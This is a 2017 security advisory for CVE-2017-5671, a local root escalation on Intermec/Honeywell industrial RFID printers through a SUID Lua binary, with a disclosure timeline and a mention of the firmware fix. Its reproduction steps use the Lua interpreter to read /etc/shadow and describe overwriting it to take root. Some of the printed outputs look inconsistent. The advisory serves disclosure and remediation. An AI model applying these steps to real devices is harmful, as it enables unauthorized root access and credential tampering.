[Advisory] CVE-2017-5671 Intermec (Honeywell) RFID Industrial printers local root w/ Busybox Jailbreak

# Date: January 31th, 2017
# Author:
    Bourbon Jean-marie (kmkz) from AKERVA company | @kmkz_security

# Product Homepage:

# Firmware download:

# Tested on :
    model: PM43 RFID Industrial printer   
    firmware version: 10.10.011406
    kernel: Linux PM43-xxxxxxx 2.6.31 #1 PREEMPT Mon Oct 26 10:49:59 SGT 2015 armv5tejl GNU/Linux

# CVSS: 7.5 (CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H)
# OVE ID: OVE-20170131-0001
# CVE ID: CVE-2017-5671
# VulnDB ID: 154533

# Thanks:
    Dany Bach (Rioru) from AKERVA company for the exploitation design during the pentest during which the CVE-2017-5671 was discovered | @DDXhunter

    Honeywell team which was really reactive (with special thanks to Kevin Staggs) !

# Credits:
    The security notification that Intermec (Honeywell) sent to all of their dealers

# Additional link:

# Affected products:
    PM23, PM42, PM43, PC23, PC43, PD43 and PC42 printers with versions prior to March 2017
# Fixes:
    Download the new firmware version by using this link
# Release note: Here
Intermec (Honeywell) Industrial RFID Printers Local root privilege escalation with Busybox jailbreak


PM43/PM43c mid-range industrial RFID printers are ideal for a wide range of applications within the distribution center / warehouse and manufacturing environments.


Using a bad file permission, it is possible to gain full root privilege on a PM43 (but not only) RFID industrial printer as well as from the admin account as it-admin which are the two default users on the machine.
It also permits to gain full privilege resulting on a Busybox jailbreak due to the root access on the system.

The impact of this exploitation is quite critical due to the sensitive information that are available and impact the recent firmware version release (before  March 12th 2017).


The Lua binary rights are too permissive and this one is SUID which conduct to perform this privilege escalation using a basic trick as describe in the next section.
The default it-admin and/or admin credentials are available in the vendor's documentation and should be modified too.


Following steps can reproduce the privilege escalation once the attacker gain a Busybox shell on the system:

itadmin@PM43-XXXXXXXXXXX /tmp$ find / -perm -g=s -type f 2>/dev/null
/usr/bin/lua      -> Lua binary with SUID perm.

We then try to execute a shell command using Lua but it seems that this one is executed with non-root privileges through the Busybox shell:

itadmin@PM43-XXXXXXXXXXX /tmp$ /usr/bin/lua
Lua 5.1.4  Copyright (C) 1994-2008 Lua.org, PUC-Rio
> os.execute("id")
uid=1(itadmin) gid=1(itadmin) groups=1(itadmin),2(admin),3(user)

So we identify that it is possible to read/write files with root privilege on the file system without any restrictions (we will be able to modify the shadow file in order to log in as root later):

// in the Lua interpreter:

> f=io.open("/etc/shadow","rb")
> print(f)
file (0x17af0)
> c=f:read "*a"
> print(c)
lighttpd:x:1000:1000:Linux User,,,:/home/lighttpd:/bin/sh

We conclude this "proof of concept" by writing a file on the filesystem which demonstrate the possibilities that we now have using this kind of code:

fp = io.popen("akerva", "w")

That gave us the following output:

itadmin@PM43-XXXXXXXXXXX /tmp$ cat akerva
itadmin@PM43-XXXXXXXXXXX /tmp$ ls -alsh akerva
   4 -rw-rw-r--    1 root     root           12 Jan 25 07:12 akerva

As explained in the above text, we then over-writed the "etc/shadow" file and we validated that it is possible to gain full root access on the filesystem even if Busybox 1.15.0 (2009 release) were present, bypassing
its shell restrictions (jailbreaking it).


AKERVA's Pentesters recommended to fix it by modifying the Lua binary rights (is the SUID bit necessary?) which was done in the patched firmware.
A security fix is now available in order to mitigate this issue as shown at the beginning of this advisory.


This issue affects the firmware version 10.10.011406 but after reading the latest release notes it also seems to impact all versions that were released before the updated firmware.


January 19th, 2017: Vulnerability identification
January 27th, 2017: First contact with the editor (Honeywell)
January 31th, 2017: Advisory submission to Honeywell security team and CVE id request
February 1st, 2017: CVE id attributed by MITRE even if the vendor is not normally considered a priority for CVE by MITRE
February 6th, 2017: Vendor confirm the vulnerability
February 16th, 2017: Vendor inform that the fix is ready (They also proposed me to test it prior to release)
March 12th, 2017: New firmware version available
March 28th, 2017: Public advisory released


The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.